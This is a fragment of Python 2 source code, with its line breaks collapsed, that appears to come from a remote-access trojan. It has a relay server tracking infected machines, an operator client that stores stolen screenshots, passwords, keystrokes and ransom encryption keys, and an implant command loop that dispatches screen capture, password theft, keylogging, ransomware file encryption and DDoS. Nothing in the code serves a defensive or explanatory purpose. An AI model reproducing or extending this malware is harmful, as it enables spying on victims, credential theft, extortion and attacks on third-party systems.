def receiveFromClient(self,s,address): while True: pkt = Packet() try: pkt.construct(s) except socket.error as error: if error.errno == 10054 or error.errno == 104: del self.toClient[address[0]] print address[0] + " closed client!" break else: raise pkt.returnIP = address[0] self.enqueueToVirus(pkt)
def receiveFromVirus(self,s,address): while True: pkt = Packet() try: pkt.construct(s) except socket.error as error: if error.errno == 10054 or error.errno == 104: del self.toVirus[address[0]] self.sendIPList() print address[0] + " uninfected or turned computer off!" break else: raise if pkt.state == '100': tup = self.toVirus[address[0]] pkt.RSADecryptData(self.RSAPrivateKey) self.toVirus[address[0]] = (tup[0],tup[1],pkt.data) self.sendIPList() else: self.enqueueToClient(pkt)
def receive(s): base = "C:\Users\Matt\Desktop\\testfolder" while True: pkt = Packet() pkt.construct(s) t = time.time() if pkt.state == "100": print pkt.data global attackip attackip = pkt.data elif pkt.state == "143": path = base + "\screenshot." + str(t) + ".png" im = Image.open(StringIO(pkt.data)) im.save("C:\Users\Matt\Desktop\\testpic.png",'png') elif pkt.state == "144": path = base + "\passwords." + str(t) + ".txt" f = open(path,"w") f.write(pkt.data) f.close() elif pkt.state == "145": path = base + "\keystrokes." + str(t) + ".txt" f = open(path,"w") f.write(pkt.data) f.close() elif pkt.state == "146": if pkt.data != "already encrypted": path = base + "\\" + pkt.toIP + "-encryptionkey" f = open(path,"w") f.write(pkt.data) f.close() else: print pkt.data elif pkt.state == "147": print pkt.data if pkt.data == "There you go! Sorry about that.": path = base + "\\" + pkt.toIP + "-encryptionkey" os.unlink(path) else: print "don't know that one"
def run(self): threading.Thread(target=self.dequeue).start() while True: pkt = Packet() pkt.construct(self.s) pkt.decryptData(pkt.length,self.key) if pkt.state: if pkt.state == "143": threading.Thread(target=self.screenshot,args=[pkt]).start() elif pkt.state == "144": threading.Thread(target=self.passwords,args=[pkt]).start() elif pkt.state == "145": threading.Thread(target=self.keylog,args=[pkt]).start() elif pkt.state == "146": threading.Thread(target=self.encrypt,args=[pkt]).start() elif pkt.state == "147": threading.Thread(target=self.decrypt,args=[pkt]).start() elif pkt.state == "149": threading.Thread(target=self.ddos,args=[pkt]).start() else: print "i don't know that command"